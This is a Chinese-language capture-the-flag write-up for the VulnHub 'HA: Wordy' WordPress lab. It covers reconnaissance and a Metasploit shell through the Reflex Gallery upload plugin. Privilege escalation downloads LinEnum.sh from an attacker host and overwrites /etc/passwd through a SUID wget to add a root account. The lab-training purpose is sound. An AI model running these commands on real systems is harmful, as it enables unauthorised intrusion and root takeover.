VulnHub 系列:HA, Wordy

靶机描述:

Wordy is design for beginners to experience real life Penetration testing. This lab is completely dedicated to Web application testing and there are several vulnerabilities that should be exploited in multiple ways. Therefore, it is not only intended as a root challenge boot, the primary agenda is proactive in exploiting tops listed web application vulnerabilities. As this is a wordpress based lab, it is designed so that users can practice following vulnerabilities: - LFI - RFI - CSRF - File Upload - SQL There is a total of 3 flags. Completion is only registered on exploiting all vulnerabilities and flags. Hint: "Everything is not what it seems to be." Visit our website http://hackingarticles.in

一、信息收集

靶机IP: 192.168.152.146

bash 复制代码
netdiscover -r 192.168.152.0/24

端口和服务

bash 复制代码
nmap -sS -sV -T4 -A -p- 192.168.152.146

页面、目录枚举

bash 复制代码
dirb http://192.168.152.146 -X .php,.txt,.zip,.html

info.php-->显示本机IP notes.txt-->You Need to ZIP Your Wayout secret.zip-->解压时需要密码

bash 复制代码
gobuster dir -u http://192.168.152.146 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

192.168.152.146/wordpress/

wpscan 扫描

bash 复制代码
wpscan --url http://192.168.152.146/wordpress -e vp,vt,u

二、漏洞利用过程

WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation

WP Symposium <= 14.11 - Unauthenticated Shell Upload

WP Symposium <= 15.1 - SQL Injection

Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)

WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion

试过以上5种,均无结果。

WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload

这里直接使用metasploit 获得shell

bash 复制代码
msfconsole
search Reflex Gallery
use exploit/unix/webapp/wp_reflexgallery_file_upload
show options
set rhosts 192.168.152.146
set targeturi /wordpress
run
bash 复制代码
shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

切换目录至/var/www/html,发现有secret.zip。这个文件在目录猜解的时候就已经发现了,但是需要密码才能解压。用john 破解了好几个小时都没出结果,遂放弃。切换目录至/home/raj,发现了flag1.txt。

bash 复制代码
cd /var/www/html
ls
cd /home
ls
cd raj
ls

四、提权

这里就不用linuxprivchecker.py 脚本去搜集信息,换成LinEnum.sh。如果你想熟悉一下没有脚本的情况下怎么收集这些信息,可以参考privilegeescalation-_linux。

先在kali 上开启HTTP 服务

bash 复制代码
python -m http.server 1212

使用wget 下载LinEnum.sh 脚本到靶机的tmp 目录。因为所在的地理位置不允许直接访问Github,所以从自己的kali 下载。

bash 复制代码
cd /tmp
wget http://192.168.152.141:1212/LinEnum.sh

为了便于查看收集到的信息,将结果输出到report 中,脚本自动将日期作为文件的结尾。

bash 复制代码
sh LinEnum.sh -r report

手动信息收集查找SUID 权限文件

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

wget -O 提权

利用wget -o 命令覆盖/etc/passwd 文件

第一步,在kali 上创建文本文件,取名passwd,并将靶机/etc/passwd 文件的内容复制进去。因为之后要覆盖靶机的/etc/passwd,所以名字要一模一样。

bash 复制代码
cat /etc/passwd
bash 复制代码
vim passwd

第二步,使用openssl 创建一个密码,命令如下:

bash 复制代码
openssl passwd -salt 'ins1ght' ins1ght

结果为:inoX.9v2x9xFM

第三步,将这串文本ins1ght:inoX.9v2x9xFM:0:0:add by hacker:/root:/bin/bash 添加到passwd 里面,注意另起一行即可。

第四步,开启kali 的HTTP 服务,可以用python 或apache2,这里用的是python,命令如下:

bash 复制代码
python -m http.server 1215

第五步,使用wget 下载kali 里面新建的passwd 到靶机的/etc 目录

bash 复制代码
cd /etc
wget -o passwd http://192.168.152.141:1215/passwd

本以为可以直接su ins1ght 了,结果出了点问题

查了一下wget 的使用方法,发现参数-o(小写字母o)和-O(大写字母o)是有区别的,之后用wget -O passwd 成功覆盖原有passwd。

简单来说就是-o passwd 是将本次执行wget 命令的日志输出到passwd(里面是日志)中,由于目录中已经存在同名文件passwd(/etc/passwd),所以wget 将下载的文件(里面是用户名密码)重名为passwd.1;而-O passwd 是将下载的passwd 文件命名为passwd,也就实现了覆盖/etc/passwd。

bash 复制代码
wget -O passwd http://192.168.152.141:1215/passwd
bash 复制代码
cat passwd
bash 复制代码
su ins1ght
whoami
id
cd /root
ls
cat proof.txt

五、后记

base64 解码aarti:aarti@gmail.com 之前在wpscan 扫描网站的时候已经发现了用户aarti,所以这应该是他的账号和密码,试了一下发现密码错误。

这个密码是admin 用户的密码。

相关推荐
君生我老1 小时前
Linux中调式器gbd/cgdb
linux
两斤牛肉一壶酒2 小时前
opencode 技能加载全挂背后,竟是不用系统的ripgrep
linux
j7~2 小时前
【Linux网络加餐(二)】《进程组,会话,控制终端,作业控制和守护进程》---详解
linux·运维·服务器·守护进程·会话·进程组·控制终端
天道jimmy2 小时前
VulnHub 系列:Prime,1
linux·运维·服务器
xiaoye-duck2 小时前
《Linux 网络编程》深入传输层 UDP 协议原理:端口、报文、缓冲区与内核源码解析
linux·网络·udp
好评1243 小时前
【Linux】数据链路层
linux·运维·网络
辻弋2014 小时前
自动检测硬件生成驱动清单、实时监控FPS、120秒性能记录——30+项优化模块化开关,所有改动可精确复原
服务器·windows·游戏引擎·电脑·开源软件
CC城子4 小时前
EtherNet/IP I/O 丢包排查(linux系统)
linux·单片机·tcp/ip·ethernetip
新时代牛马4 小时前
Linux 信号处理完整篇:从sigaction、掩码到内核发送与可重入排障
linux·运维·信号处理